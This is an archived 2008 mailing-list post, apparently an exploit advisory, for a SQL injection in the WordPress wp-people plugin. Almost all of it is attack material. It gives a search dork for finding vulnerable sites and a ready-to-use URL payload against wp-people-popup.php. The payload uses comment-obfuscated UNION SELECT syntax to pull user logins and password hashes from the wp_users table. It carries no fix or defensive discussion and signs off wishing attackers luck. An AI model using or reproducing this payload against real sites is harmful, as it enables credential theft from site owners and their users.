Wordpress Plugin (wp-people) SQL Injection

From: <hackturkiye.hackturkiye_at_gmail.com>
Date: 16 Feb 2008 16:52:09 -0000

('binary' encoding is not supported, stored as-is) #########################################################################
#
# Wordpress Plugin (wp-people) SQL Injection
#
#########################################################################
#
# AUTHOR : S_at_BUN
#
# HOME : http://www.hackturkiye.com/
#
#########################################################################
#
# DORKS 1 : allinurl :"allinurl: "wp-people""
#
##########################################################################
   EXPLOIT :

wp-content/plugins/wp-people/wp-people-popup.php?person=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Cuser_pass%2Cuser_login%2C3%2F%2A%2A%2Ffrom%2F%2A%2A%2Fwp_users

##########################################################################
# S_at_BUN GOOD LUCKY S_at_BUN
##########################################################################
Received on Feb 18 2008